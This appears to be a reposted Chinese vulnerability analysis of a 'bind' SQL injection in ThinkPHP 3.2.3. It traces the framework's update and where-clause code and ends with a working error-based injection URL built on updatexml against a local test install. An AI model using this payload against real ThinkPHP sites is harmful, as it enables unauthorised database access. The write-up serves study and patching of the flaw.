ThinkPHP3.2.3 bind注入


環境搭建

ThinkPHP3.2.3完整版:http://www.thinkphp.cn/donate/download/id/610.html

Application文件夾目錄結構如下:

Application
├─Common         應用公共模塊
│  ├─Common      應用公共函數目錄
│  └─Conf        應用公共配置文件目錄
├─Home           默認生成的Home模塊
│  ├─Conf        模塊配置文件目錄
│  ├─Common      模塊函數公共目錄
│  ├─Controller  模塊控制器目錄
│  ├─Model       模塊模型目錄
│  └─View        模塊視圖文件目錄
├─Runtime        運行時目錄
│  ├─Cache       模版緩存目錄
│  ├─Data        數據目錄
│  ├─Logs        日志目錄
│  └─Temp        緩存目錄

修改 thinkphp32\Application\Home\Controller\IndexController.class.php 文件代碼,內容如下:

public function index()
    {
        $User = M("Users");
        $user['id'] = I('id');
        $data['password'] = I('password');
        $valu = $User->where($user)->save($data);
        var_dump($valu);
    }

配置連接數據庫的文件 Application\Common\Conf\config.php ,內容如下:

<?php
return array(
	'DB_TYPE'   => 'mysql', // 數據庫類型
	'DB_HOST'   => 'localhost', // 服務器地址
	'DB_NAME'   => 'thinkphp', // 數據庫名
	'DB_USER'   => 'root', // 用戶名
	'DB_PWD'    => 'root', // 密碼
	'DB_PORT'   => 3306, // 端口
	'DB_PREFIX' => '', // 數據庫表前綴 
	'DB_CHARSET'=> 'utf8', // 字符集
	'DB_DEBUG'  =>  TRUE, // 數據庫調試模式 開啟后可以記錄SQL日志 3.2.3新增
);

漏洞分析

可以通過payload進行正向審計,payload為:

http://127.0.0.1/thinkphp32/index.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7,user(),0x7e),1)

Thinkphp中一般使用I函數進行過濾,I函數官方說明:I函數輸入過濾,在I函數中默認使用htmlspecialchars方法過濾,最后通過think_filter函數進行安全過濾。

image-20201012123850380

可以看到並沒有對bind進行過濾,於是我們嘗試傳入payload:

http://127.0.0.1/thinkphp32/index.php?id[0]=bind&id[1]=qq

image-20201012124043349

可以看到傳入id[0]=bind&id[1]=qq時,sql語句中id值為:qq。接下來我們對其形成原因進行分析:

首先跟入where函數:

image-20201012124432751

在where函數中對$this->options['where']進行初始化,將id->{0->"bind",1->"qq"}賦值給$this->options['where'],接下來調用save函數:

/**
     * 保存數據
     * @access public
     * @param mixed $data 數據
     * @param array $options 表達式
     * @return boolean
     */
    public function save($data='',$options=array()) {
        if(empty($data)) {
            // 沒有傳遞數據,獲取當前數據對象的值
            if(!empty($this->data)) {
                $data           =   $this->data;
                // 重置數據
                $this->data     =   array();
            }else{
                $this->error    =   L('_DATA_TYPE_INVALID_');
                return false;
            }
        }
        // 數據處理
        $data       =   $this->_facade($data);
        if(empty($data)){
            // 沒有數據則不執行
            $this->error    =   L('_DATA_TYPE_INVALID_');
            return false;
        }
        // 分析表達式
        $options    =   $this->_parseOptions($options);
        $pk         =   $this->getPk();
        if(!isset($options['where']) ) {
            // 如果存在主鍵數據 則自動作為更新條件
            if (is_string($pk) && isset($data[$pk])) {
                $where[$pk]     =   $data[$pk];
                unset($data[$pk]);
            } elseif (is_array($pk)) {
                // 增加復合主鍵支持
                foreach ($pk as $field) {
                    if(isset($data[$field])) {
                        $where[$field]      =   $data[$field];
                    } else {
                           // 如果缺少復合主鍵數據則不執行
                        $this->error        =   L('_OPERATION_WRONG_');
                        return false;
                    }
                    unset($data[$field]);
                }
            }
            if(!isset($where)){
                // 如果沒有任何更新條件則不執行
                $this->error        =   L('_OPERATION_WRONG_');
                return false;
            }else{
                $options['where']   =   $where;
            }
        }

        if(is_array($options['where']) && isset($options['where'][$pk])){
            $pkValue    =   $options['where'][$pk];
        }
        if(false === $this->_before_update($data,$options)) {
            return false;
        }
        $result     =   $this->db->update($data,$options);
        if(false !== $result && is_numeric($result)) {
            if(isset($pkValue)) $data[$pk]   =  $pkValue;
            $this->_after_update($data,$options);
        }
        return $result;
    }

在Think\Db\Driver->update()中:

image-20201012125557009

繼續跟入Think\Db\Driver->parseSet():

image-20201012125706650

在parseSet中進入標量數據檢查,繼續跟入bindParam:

image-20201012130539725

可以看到在bindParam中對this.bind進行賦值this.bind[:0]="",進行參數化。然后回到update函數中的:

$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');

繼續跟入$this->parseWhere,進入重點$this->parseWhereItem:

// where子單元分析
protected function parseWhereItem($key,$val) {
    $whereStr = '';
    if(is_array($val)) {
        if(is_string($val[0])) {
            $exp	=	strtolower($val[0]);
            if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比較運算
                $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
            }elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找
                if(is_array($val[1])) {
                    $likeLogic  =   isset($val[2])?strtoupper($val[2]):'OR';
                    if(in_array($likeLogic,array('AND','OR','XOR'))){
                        $like       =   array();
                        foreach ($val[1] as $item){
                            $like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);
                        }
                        $whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';                          
                    }
                }else{
                    $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
                }
            }elseif('bind' == $exp ){ // 使用表達式
                $whereStr .= $key.' = :'.$val[1];
            }elseif('exp' == $exp ){ // 使用表達式
                $whereStr .= $key.' '.$val[1];
            }elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 運算
                if(isset($val[2]) && 'exp'==$val[2]) {
                    $whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];
                }else{
                    if(is_string($val[1])) {
                        $val[1] =  explode(',',$val[1]);
                    }
                    $zone      =   implode(',',$this->parseValue($val[1]));
                    $whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';
                }
            }elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN運算
                $data = is_string($val[1])? explode(',',$val[1]):$val[1];
                $whereStr .=  $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
            }else{
                E(L('_EXPRESS_ERROR_').':'.$val[0]);
            }
        }else {
            $count = count($val);
            $rule  = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ; 
            if(in_array($rule,array('AND','OR','XOR'))) {
                $count  = $count -1;
            }else{
                $rule   = 'AND';
            }
            for($i=0;$i<$count;$i++) {
                $data = is_array($val[$i])?$val[$i][1]:$val[$i];
                if('exp'==strtolower($val[$i][0])) {
                    $whereStr .= $key.' '.$data.' '.$rule.' ';
                }else{
                    $whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';
                }
            }
            $whereStr = '( '.substr($whereStr,0,-4).' )';
        }
    }else {
        //對字符串類型字段采用模糊匹配
        $likeFields   =   $this->config['db_like_fields'];
        if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {
            $whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');
        }else {
            $whereStr .= $key.' = '.$this->parseValue($val);
        }
    }
    return $whereStr;
}

可以看到在進入到elseif('bind' == $exp )中時,對$whereStr進行拼接:

$whereStr .= $key.' = :'.$val[1];

所以導致拼接后為:aa

最后在update中最后一行:

return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);

跟入$this->execute,可以找到:

$this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));

使用strtr對參數進行替換后並執行sql語句。本意是將password后的 :0 替換為 "",但是我們可以構造id[1]=0,bind處理拼接后為 :0 ,導致在最后進行strtr時,將where后的id條件也替換為""

於是我們可以發現在並未過濾bind以及updatexml的情況下,可以進行報錯注入:

payload:
http://127.0.0.1/thinkphp32/index.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7,user(),0x7e),1)

image-20201012141058774

參考

  1. ThinkPHP3.2.x框架SQL注⼊
  2. Thinkphp3.2.3最新版update注入漏洞
  3. Thinkphp3.2.3完全開發手冊


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM